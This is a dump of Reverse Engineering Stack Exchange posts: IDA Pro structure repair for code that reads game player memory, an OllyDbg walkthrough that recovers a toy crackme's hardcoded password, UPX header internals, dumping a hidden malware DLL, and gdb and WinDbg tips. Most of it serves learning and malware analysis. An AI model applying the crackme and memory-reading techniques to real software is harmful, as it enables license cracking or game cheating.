  <row Id="3331" PostTypeId="1" AcceptedAnswerId="3332" CreationDate="2013-12-31T02:29:55.723" Score="5" ViewCount="4788" Body="&lt;p&gt;How do I fix structures in IDA PRO so they show up properly in Hex-Rays plugin (C decompiler).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Similar question to: (But the solution doesn't work for me)&lt;br&gt; &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/2991/struct-with-negative-offset-in-ida-possible&quot;&gt;Struct with negative offset in IDA possible&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Pretty much what happened is I compiled a very good program and it works right, after that I did many changes to it and now it works worse then the older version, I'm trying to figure out what I did wrong (since I lost the source code now) to revert back to the old version. (I also added below the original piece of the code written in C++, which didn't change between both versions).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Structure's addresses somehow optimized in IDA PRO&#xA;Such as that&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;*(_BYTE *)(shipsStruct + 279) = 1; //Ships[i].used = true;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;should really be &lt;code&gt;[10x4]=40+255= 295&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;*(_BYTE *)(shipsStruct + 295) = 1;  //Ships[i].used = true;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can tell the structure size right here (&lt;code&gt;shipsStruct += 296;&lt;/code&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm guessing somehow the un-used structure members are stripped out (but why is the structure size valid?).&lt;br&gt;&#xA;Seems the assembly somehow is offset wrongly (how do I add the proper offset deltas to the struct to fix this)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I try this tip &lt;a href=&quot;http://www.hexblog.com/?p=63&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.hexblog.com/?p=63&lt;/a&gt; &#xA;My whole IDA PRO freezes up when I select the line &lt;code&gt;mov edi, offset dword_10004C38&lt;/code&gt; and press T (IDA PRO 6.1)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/GBJzX.png&quot; alt=&quot;structoffset&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Seems I made my struct incorrectly?&lt;br&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is how the code decompiled code looks like (without applying structure)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  if ( playerListBaseAddress &amp;amp;&amp;amp; !IsBadReadPtr(playerListBaseAddress, 4u) )&#xA;  {&#xA;    shipsStruct = (int)dword_10004C38;&#xA;    while ( 1 )&#xA;    {&#xA;      playerPointer = (struct_v3 *)*((_DWORD *)playerListBaseAddress + maxPlayers);&#xA;      if ( !playerPointer )&#xA;        break;&#xA;      if ( IsBadReadPtr(playerPointer, 4u) )&#xA;        break;&#xA;      *(_DWORD *)(shipsStruct - 4) = playerPointer-&amp;gt;ssXCoord;&#xA;      *(_DWORD *)shipsStruct = playerPointer-&amp;gt;ssYCoord;&#xA;      *(_DWORD *)(shipsStruct + 4) = playerPointer-&amp;gt;ssXSpeed;&#xA;      *(_DWORD *)(shipsStruct + 8) = playerPointer-&amp;gt;ssYSpeed;&#xA;      *(_DWORD *)(shipsStruct - 8) = playerPointer-&amp;gt;ssFreq;&#xA;      *(_DWORD *)(shipsStruct + 20) = playerPointer-&amp;gt;ssShipNum;&#xA;      if ( playerPointer-&amp;gt;ssPlayerName )&#xA;        strcpy_s((char *)(shipsStruct + 24), 0xFFu, &amp;amp;playerPointer-&amp;gt;ssPlayerName);&#xA;      *(_BYTE *)(shipsStruct + 279) = 1;&#xA;      if ( v37 == playerPointer )&#xA;        break;&#xA;      shipsStruct += 296;&#xA;      ++maxPlayers;&#xA;      v37 = playerPointer;&#xA;      if ( shipsStruct &amp;gt;= (signed int)&amp;amp;unk_10017310 )&#xA;        goto finish;&#xA;    }&#xA;    v34 = maxPlayers;&#xA;    if ( maxPlayers &amp;lt; 255 )&#xA;    {&#xA;      v4 = (int)((char *)&amp;amp;unk_10004D4F + 296 * maxPlayers);&#xA;      do&#xA;      {&#xA;        *(_BYTE *)v4 = 0;&#xA;        v4 += 296;&#xA;      }&#xA;      while ( v4 &amp;lt; (signed int)&amp;amp;unk_10017427 );&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here is the orginal code (not decompiled written in C++)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;double currentTimer = GetTimer();&#xA;double timeElapsed = currentTimer - lastTimer;&#xA;&#xA;int maxPlayers = 0;&#xA;DWORD lastPlayerPtr = 0;&#xA;if (playerListBaseAddress != NULL &amp;amp;&amp;amp; !IsBadReadPtr((void *) playerListBaseAddress, sizeof(ULONG_PTR))) {&#xA;    for (int i = 0; i &amp;lt; 255; i++) { //populate player ship list.&#xA;    DWORD playerPtr = *(DWORD *) (playerListBaseAddress + (i * 4));&#xA;&#xA;    if (playerPtr != NULL &amp;amp;&amp;amp; !IsBadReadPtr((void *) playerPtr, sizeof(ULONG_PTR))) {&#xA;        Ships[i].XCoordinate = *(DWORD *) (playerPtr + 0x4);&#xA;        Ships[i].YCoordinate = *(DWORD *) (playerPtr + 0x8);&#xA;        Ships[i].XSpeed = *(signed long *) (playerPtr + 0x10);&#xA;        Ships[i].YSpeed = *(signed long *) (playerPtr + 0x14);&#xA;        Ships[i].Freq = *(DWORD *) (playerPtr + 0x58);&#xA;        Ships[i].ShipNum = *(BYTE *) (playerPtr + 0x5C)&#xA;        //memcpy(&amp;amp;(Ships[i].Name), (void*)((DWORD)playerPtr+0x6D), 19);&#xA;        if (!*(BYTE *) (playerPtr + 0x6D) == NULL)&#xA;        strcpy_s(Ships[i].Name, (char *) ((DWORD) playerPtr + 0x6D));&#xA;        Ships[i].used = true;&#xA;&#xA;        if (lastPlayerPtr == playerPtr)&#xA;        goto finishList;&#xA;        lastPlayerPtr = playerPtr;&#xA;    } else {&#xA;      finishList:&#xA;        maxPlayers = i;&#xA;        for (int j = i; j &amp;lt; 255; j++)&#xA;        Ships[j].used = false;&#xA;        break;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here is before and after (applying my custom struct)&lt;br&gt;&#xA;I did the custom struct by doing a bunch of Arrays (* key), then setting proper sizes. (Guessing this isn't the proper way to make a structure in IDA PRO?)&#xA;&lt;img src=&quot;https://i.stack.imgur.com/c5OBF.png&quot; alt=&quot;struct&quot;&gt;&#xA;&lt;br&gt;Before:&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/u2VGH.png&quot; alt=&quot;before&quot;&gt;&#xA;&lt;br&gt;After:&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/p96Au.png&quot; alt=&quot;after&quot;&gt;&#xA;&lt;br&gt;ASM:&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/wQXTP.png&quot; alt=&quot;asm&quot;&gt;&#xA;&lt;br&gt;Edit Function&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/2rANk.png&quot; alt=&quot;edit function&quot;&gt;&#xA;&lt;br&gt;Double clicked local variable&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/9vKkW.png&quot; alt=&quot;dbl click local variables&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="3510" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:39.337" LastActivityDate="2014-01-03T13:32:42.007" Title="IDA PRO Structures Defining negative offset -4 -8 offset repair asm Hex-Rays" Tags="|ida|struct|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3332" PostTypeId="2" ParentId="3331" CreationDate="2013-12-31T02:39:00.227" Score="4" Body="&lt;p&gt;From above...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Decompiled:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;*(_DWORD *)(shipsStruct - 4) = playerPointer-&amp;gt;ssXCoord;&#xA;*(_DWORD *)shipsStruct = playerPointer-&amp;gt;ssYCoord;&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Original:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Ships[i].XCoordinate = *(DWORD *) (playerPtr + 0x4);&#xA;Ships[i].YCoordinate = *(DWORD *) (playerPtr + 0x8);&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Based on these snippets, it looks like the structure in your stack variables is 8 bytes off. Can you share with us the stack variable list for that function? (Double-click on one of the local variables in the decompilation to open the stack view.)&lt;/p&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2013-12-31T02:39:00.227" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="3333" PostTypeId="2" ParentId="3302" CreationDate="2013-12-31T17:13:51.887" Score="13" Body="&lt;p&gt;Here is a way how you would go back to the caller. The following is a small C++ crackme for demonstration&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;#include&amp;lt;stdio.h&amp;gt;&#xA;#include&amp;lt;string.h&amp;gt;&#xA;#include&amp;lt;conio.h&amp;gt;&#xA;&#xA;int main()&#xA;{&#xA;    char code[50];&#xA;    char valid[]=&amp;quot;12345&amp;quot;;&#xA;    printf(&amp;quot;Enter your password : \n&amp;quot;);&#xA;    gets(code);&#xA;    if(!strcmp(code,valid))&#xA;        printf(&amp;quot;That's it!!!\n&amp;quot;);&#xA;    else&#xA;        printf(&amp;quot;Try again!!!\n&amp;quot;);&#xA;    getch();    &#xA;    return 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;hr /&gt;&#xA;&lt;h2&gt;Step 1&lt;/h2&gt;&#xA;&lt;p&gt;Now as usual you load the app in OllyDBG. Now assume that we do not know anything the inner logic of the crackme. So lets put a breakpoint on the functions which prints on the console. So the best bet is to search for all intermodular calls.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/xzPZ9.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;h2&gt;Step 2&lt;/h2&gt;&#xA;&lt;p&gt;So you see it calls &lt;code&gt;puts&lt;/code&gt; .This function is used to display a string on the console and is called from 3 places. So lets place a breakpoint on the function itself so that we can know from where it is called.&lt;/p&gt;&#xA;&lt;p&gt;Now the function is defined at &lt;code&gt;VA 0x75898D04&lt;/code&gt; . So put a breakpoint over there.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/iiuXm.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;h2&gt;Step 3&lt;/h2&gt;&#xA;&lt;p&gt;Now run the app by pressing &lt;kbd&gt;F9&lt;/kbd&gt; till breakpoint is hit.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/V3kKQ.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;Now look at the stack at the bottom right it shows the place from where &lt;code&gt;puts&lt;/code&gt; would return after executing as well as the parameters passed to this function.&lt;/p&gt;&#xA;&lt;p&gt;Since this parameter passed is the string asking for password we can skip it until we get to the badboy message string. So continue pressing &lt;kbd&gt;F9&lt;/kbd&gt; until you get to the point where the parameter passed is the badboy message. (The console meanwhile asks for the password and write something there)&lt;/p&gt;&#xA;&lt;p&gt;So we run till here.&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;h2&gt;Step 4&lt;/h2&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/xf2mx.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;puts&lt;/code&gt; would return to &lt;code&gt;VA 0x401C66&lt;/code&gt; and the parameter passed is the badboy message.&#xA;So lets go to &lt;code&gt;0x401C66&lt;/code&gt;.&#xA;Press &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;G&lt;/kbd&gt; in the CPU window to go there.&#xA;You can also press &lt;kbd&gt;Enter&lt;/kbd&gt; directly on the return address shown on the stack.&lt;/p&gt;&#xA;&lt;p&gt;So we land here.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/k1CwR.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;h2&gt;Step 5&lt;/h2&gt;&#xA;&lt;p&gt;Just above the &lt;code&gt;puts&lt;/code&gt; call there is a &lt;code&gt;strcmp&lt;/code&gt; call checking our entered serial with a hardcoded value. If you explore a little you can see that the hardcoded value is &lt;code&gt;12345&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;(You may set a breakpoint on the &lt;code&gt;strcmp&lt;/code&gt; call and restart the target to see what is being compared to whom)&lt;/p&gt;&#xA;&lt;p&gt;So that's the serial which would skip the badboy message and land us to the goodboy message.&lt;/p&gt;&#xA;&lt;p&gt;I am not suggesting the &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;F9&lt;/kbd&gt; method because you may sometimes encounter function which never returns. Such functions are specifically coded to obfuscate and thwart static and dynamic analysis. However in other cases &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;F9&lt;/kbd&gt; method is pretty good.&lt;/p&gt;&#xA;" OwnerUserId="1413" LastEditorUserId="-1" LastEditDate="2020-06-17T09:54:32.040" LastActivityDate="2014-01-03T15:23:04.787" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3335" PostTypeId="1" AcceptedAnswerId="3663" CreationDate="2013-12-31T21:43:59.333" Score="5" ViewCount="15505" Body="&lt;p&gt;Still on my way to understand how to prevent the usage of the &lt;code&gt;-d&lt;/code&gt; (decompress) option of UPX (see this &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/3323/how-to-prevent-upx-d-on-an-upx-packed-executable&quot;&gt;question&lt;/a&gt;), I try to identify the header file of UPX in ELF executable files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Looking at the code, all the sources seems to be in the files &lt;code&gt;lx_elf.h&lt;/code&gt; and &lt;code&gt;lx_elf.cpp&lt;/code&gt; (stands for &lt;em&gt;Linux Elf&lt;/em&gt;). I tried to follow the code but I got lost in it...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also did take a look at the beginning of an UPX compressed executable file (amd64), visualized in 8-bytes per line mode for more clarity (and thanks to &lt;a href=&quot;http://code.google.com/p/corkami/wiki/ELF101&quot; rel=&quot;nofollow noreferrer&quot;&gt;Corkami ELF-101&lt;/a&gt;):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;00000000: 7f45 4c46 0201 0103  .ELF....&#xA;00000008: 0000 0000 0000 0000  ........&#xA;00000010: 0200 3e00 0100 0000  ..&amp;gt;.....&#xA;00000018: 0831 4200 0000 0000  .1B.....    ELF HEADER&#xA;00000020: 4000 0000 0000 0000  @.......&#xA;00000028: 0000 0000 0000 0000  ........&#xA;00000030: 0000 0000 4000 3800  ....@.8.&#xA;00000038: 0200 4000 0000 0000  ..@.....&#xA;&#xA;00000040: 0100 0000 0500 0000  ........&#xA;00000048: 0000 0000 0000 0000  ........&#xA;00000050: 0000 4000 0000 0000  ..@.....&#xA;00000058: 0000 4000 0000 0000  ..@.....    PROGRAM HEADER TABLE&#xA;00000060: f438 0200 0000 0000  .8......&#xA;00000068: f438 0200 0000 0000  .8......&#xA;00000070: 0000 2000 0000 0000  .. .....&#xA;00000078: 0100 0000 0600 0000  ........&#xA;&#xA;00000080: 487d 0500 0000 0000  H}......&#xA;00000088: 487d 6500 0000 0000  H}e.....&#xA;00000090: 487d 6500 0000 0000  H}e.....&#xA;00000098: 0000 0000 0000 0000  ........&#xA;000000a0: 0000 0000 0000 0000  ........    UPX HEADER (???)&#xA;000000a8: 0000 2000 0000 0000  .. .....&#xA;000000b0: a298 b634 5550 5821  ...4UPX!&#xA;000000b8: f407 0d16 0000 0000  ........&#xA;000000c0: 1676 0500 1676 0500  .v...v..&#xA;000000c8: 0002 0000 bd00 0000  ........&#xA;000000d0: 0200 0000 fbfb 21ff  ......!.&#xA;&#xA;000000d8: 7f45 4c46 0201 0100  .ELF....&#xA;000000e0: 0200 3e00 0d70 2840  ..&amp;gt;..p(@&#xA;000000e8: 0f1b f26d 1605 00e8  ...m....   ELF HEADER (again)&#xA;000000f0: 6d05 0013 01eb be7b  m......{&#xA;000000f8: 3800 0805 1c00 1b00  8.......&#xA;00000100: 060f 0527 9b90 27ec  ...'..'.&#xA;00000108: 4000 4007 c001 0008  @.@.....&#xA;....8&amp;lt;....&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My guess is that the second ELF header (always located at an offset of &lt;code&gt;0xd8&lt;/code&gt;) is the header of the compressed executable. And indeed, when looking at the original ELF header of the executable (before applying &lt;code&gt;upx&lt;/code&gt;) we find:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;00000000: 7f45 4c46 0201 0100 0000 0000 0000 0000  .ELF............&#xA;00000010: 0200 3e00 0100 0000 7028 4000 0000 0000  ..&amp;gt;.....p(@.....&#xA;00000020: 4000 0000 0000 0000 e86d 0500 0000 0000  @........m......&#xA;00000030: 0000 0000 4000 3800 0800 4000 1c00 1b00  ....@.8...@.....&#xA;00000040: 0600 0000 0500 0000 4000 0000 0000 0000  ........@.......&#xA;00000050: 4000 4000 0000 0000 4000 4000 0000 0000  @.@.....@.@.....&#xA;00000060: c001 0000 0000 0000 c001 0000 0000 0000  ................&#xA;00000070: 0800 0000 0000 0000 0300 0000 0400 0000  ................&#xA;00000080: 0002 0000 0000 0000 0002 4000 0000 0000  ..........@.....&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;A few fields have been omitted in the compressed version but the header is mainly preserved. So, lets assume this is just a short version of the original ELF header.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But, what I would like to understand are the fields of the first header:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;00000080: 487d 0500 0000 0000  H}......&#xA;00000088: 487d 6500 0000 0000  H}e.....&#xA;00000090: 487d 6500 0000 0000  H}e.....&#xA;00000098: 0000 0000 0000 0000  ........&#xA;000000a0: 0000 0000 0000 0000  ........    UPX HEADER (???)&#xA;000000a8: 0000 2000 0000 0000  .. .....&#xA;000000b0: a298 b634 5550 5821  ...4UPX!&#xA;000000b8: f407 0d16 0000 0000  ........&#xA;000000c0: 1676 0500 1676 0500  .v...v..&#xA;000000c8: 0002 0000 bd00 0000  ........&#xA;000000d0: 0200 0000 fbfb 21ff  ......!.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So, my question is about discovering the location and the meaning of the fields of the UPX header. If somebody knows about UPX internals any hint would be appreciated.&lt;/p&gt;&#xA;" OwnerUserId="53" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:39.430" LastActivityDate="2021-01-31T12:35:07.970" Title="Decoding the UPX ELF header file" Tags="|elf|packers|upx|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3336" PostTypeId="1" AcceptedAnswerId="3337" CreationDate="2014-01-01T06:24:13.160" Score="1" ViewCount="2306" Body="&lt;p&gt;I am trying to reverse engineer a DLL that may contain malware. One thing I noticed is that it hides itself from the DLL &lt;code&gt;LDR_MODULE&lt;/code&gt; list. So, when I use Ollydbg or smiler tools I do not see it and cannot dump it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't have the DLL file. I just have an executable file that injects the DLL into a certain process.&lt;/p&gt;&#xA;" OwnerUserId="3519" LastEditorUserId="53" LastEditDate="2014-01-01T19:09:44.717" LastActivityDate="2014-01-08T15:41:24.110" Title="How to dump a DLL not listed using Process Explore and similar tools" Tags="|malware|ollydbg|dll|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3337" PostTypeId="2" ParentId="3336" CreationDate="2014-01-01T10:05:59.247" Score="4" Body="&lt;p&gt;I'll list some ways to do it. Obviously there are many others and most likely other fellows here will add. Start with those as they are ones of the mostly used.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;While debugging a malicious process, BP on &lt;a href=&quot;http://msdn.microsoft.com/en-us/library/windows/desktop/ms681674%28v=vs.85%29.aspx&quot; rel=&quot;nofollow&quot;&gt;WriteProcessMemory&lt;/a&gt;/NtMapViewOfSection API. Those are used to copy/map potential DLL into the remote process. Before the copying or mapping is done, you can dump the buffer to disk. Check the manual of the above APIs to find the local buffer which will be copied to remote process.&lt;/li&gt;&#xA;&lt;li&gt;Alternatively, if you have s little understanding what malicious code is doing you can follow it by inspecting the log of &lt;a href=&quot;http://technet.microsoft.com/en-us/sysinternals/bb896645.aspx&quot; rel=&quot;nofollow&quot;&gt;procmon&lt;/a&gt;. Once you see something in the log that is 100% done by the mal-DLL, you can open that log line and inspect the stack. The stack will tell you at what page the mal-DLL resides. If you know at what memory page the DLL resides in the infected process, you can use for example &lt;a href=&quot;http://processhacker.sourceforge.net/&quot; rel=&quot;nofollow&quot;&gt;Process Hacker&lt;/a&gt; for dumping this specific memory page by clicking on the process and inspecting memory tab.&lt;/li&gt;&#xA;&lt;li&gt;Alternatively, you can dump the whole memory of the infected machine and use tool - &lt;a href=&quot;https://code.google.com/p/volatility/&quot; rel=&quot;nofollow&quot;&gt;Volatility&lt;/a&gt; to inspect the memory of a specific process or all the processes.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="2021" LastEditorUserId="2021" LastEditDate="2014-01-08T15:41:24.110" LastActivityDate="2014-01-08T15:41:24.110" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3338" PostTypeId="2" ParentId="2048" CreationDate="2014-01-01T12:10:27.833" Score="1" Body="&lt;p&gt;Check out this Emacs man page.  While I would expect it to be specific for Emacs Lisp, it's certainly a starting point.  &lt;a href=&quot;http://www.gnu.org/software/emacs/manual/html_node/elisp/Disassembly.html&quot; rel=&quot;nofollow&quot;&gt;http://www.gnu.org/software/emacs/manual/html_node/elisp/Disassembly.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2449" LastActivityDate="2014-01-01T12:10:27.833" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3339" PostTypeId="1" CreationDate="2014-01-01T17:06:26.083" Score="3" ViewCount="270" Body="&lt;p&gt;I was experimenting with debugging Windows programs under Wine and spotted this weird behaviour. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I check Wine's oleaut32.dll in OllyDbg I get different values in PE header&#xA;compared to that what I could expect analysing the file using hex-editor.&#xA;For example number of sections is different.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know what's going on?&lt;/p&gt;&#xA;" OwnerUserId="3254" LastEditorUserId="1485" LastEditDate="2014-01-26T05:51:38.293" LastActivityDate="2014-01-26T05:51:38.293" Title="Puzzling behaviour when loading Wine's oleaut32.dll in OllyDbg" Tags="|ollydbg|dll|wine|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3340" PostTypeId="1" AcceptedAnswerId="3424" CreationDate="2014-01-02T14:42:46.873" Score="5" ViewCount="702" Body="&lt;p&gt;I have been using BinDiff as a plug-in for IDA Pro. I understand it is not possible to run this plug-in via terminal/batch mode. Is there a way I can export the results to a more readable format such as a .pdf or a .txt? I need a more readable format then the .BinDiff and .BinExport formats that it generates. &lt;/p&gt;&#xA;" OwnerUserId="3505" LastEditorUserId="2147" LastEditDate="2016-10-11T13:17:55.917" LastActivityDate="2016-10-11T13:17:55.917" Title="Formatting BinDiff results to a .txt" Tags="|ida|idapython|ida-plugin|tool-bindiff|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3342" PostTypeId="1" AcceptedAnswerId="3343" CreationDate="2014-01-03T04:45:56.790" Score="10" ViewCount="3530" Body="&lt;p&gt;I'd like to automate the following in my &lt;code&gt;.gdbinit&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;break boost::uuids::detail::sha1::process_bytes&#xA;&#xA;# When execution stops at the above breakpoint,&#xA;# I want to display the contents of `rcx` as a string:&#xA;x/s $rcx&#xA;c  # do not stop here&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How do I automate this?&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;UPDATE: Here's a better &lt;code&gt;.gdbinit&lt;/code&gt; example:&lt;/h3&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# Our custom-built libcurl, with debugging symbols enabled:&#xA;set environment LD_PRELOAD=./curl/curl-7.34.0/lib/.libs/libcurl.so&#xA;&#xA;# File that connects to the evil server:&#xA;file ./evil&#xA;&#xA;# Make sure we get notified when it connects!&#xA;break curl_easy_setopt&#xA;commands $bpnum&#xA;clear curl_easy_setopt  # to avoid recursion&#xA;call curl_easy_setopt(curl, CURLOPT_VERBOSE)&#xA;continue&#xA;end&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This hooks in to the evil binary, and when it initialises its curl handle, we set set it to verbose so we get lots of output about what's going on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for the answer.&lt;/p&gt;&#xA;" OwnerUserId="3531" LastEditorUserId="3531" LastEditDate="2014-01-03T06:24:15.410" LastActivityDate="2014-01-03T06:24:15.410" Title="Run command on breakpoint without stopping" Tags="|gdb|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3343" PostTypeId="2" ParentId="3342" CreationDate="2014-01-03T05:19:22.577" Score="10" Body="&lt;p&gt;Easy enough. In your case what you most likely want is &lt;a href=&quot;http://www.sourceware.org/gdb/onlinedocs/gdb.html#Break-Commands&quot; rel=&quot;noreferrer&quot;&gt;&lt;code&gt;commands&lt;/code&gt;&lt;/a&gt; which can be used to create &quot;routines&quot; that run whenever a breakpoint is hit. For your case roughly:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;break boost::uuids::detail::sha1::process_bytes&#xA;commands 1&#xA;x/s $rcx&#xA;continue&#xA;end&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Problem is that you need to hardcode the breakpoint number. Depending on the GDB version you may get around this using the &lt;code&gt;$bpnum&lt;/code&gt; convenience variable. So:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;break boost::uuids::detail::sha1::process_bytes&#xA;commands $bpnum&#xA;x/s $rcx&#xA;continue&#xA;end&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Also see &lt;a href=&quot;https://stackoverflow.com/a/11019683/476371&quot;&gt;this&lt;/a&gt; concerning the last example.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; using this method can be quite taxing on the CPU depending on how often this gets called and whether a hardware breakpoint could be used by GDB.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;You can also use the conditional form of breakpoints. Check out the actual authoritative reference &lt;a href=&quot;http://www.sourceware.org/gdb/onlinedocs/gdb.html#Set-Breaks&quot; rel=&quot;noreferrer&quot;&gt;here&lt;/a&gt;. The form looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;break ... if cond&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can also set the condition independent of setting the breakpoint, if you know the breakpoint number. Use &lt;code&gt;info break&lt;/code&gt; to get the number of the breakpoint and then use that as &lt;code&gt;bnum&lt;/code&gt; in:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;condition bnum expression&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="245" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:19.663" LastActivityDate="2014-01-03T05:34:09.003" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3344" PostTypeId="2" ParentId="2759" CreationDate="2014-01-03T08:47:56.553" Score="3" Body="&lt;p&gt;If you use the windbg sos extension you can step into the internal calls - which are unmanaged code. The documentation for using sos is a bit tricky to sort out IMO. This link is helpful for learning the sos commands: &lt;a href=&quot;http://msdn.microsoft.com/en-us/library/bb190764(v=vs.110).aspx&quot; rel=&quot;nofollow&quot;&gt;http://msdn.microsoft.com/en-us/library/bb190764(v=vs.110).aspx&lt;/a&gt;. To load SOS I use:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.loadby sos clr ; for .NET 4 and higher&#xA;.loadby sos mscorwks ; for .NET 2&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However you have to wait until the .NET DLLs have been loaded before those commands work, so you either have to set a breakpoint or make sure the managed code has some kind of wait (for input or something else) to allow the process to load the .NET DLLs.&lt;/p&gt;&#xA;" OwnerUserId="3533" LastActivityDate="2014-01-03T08:47:56.553" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
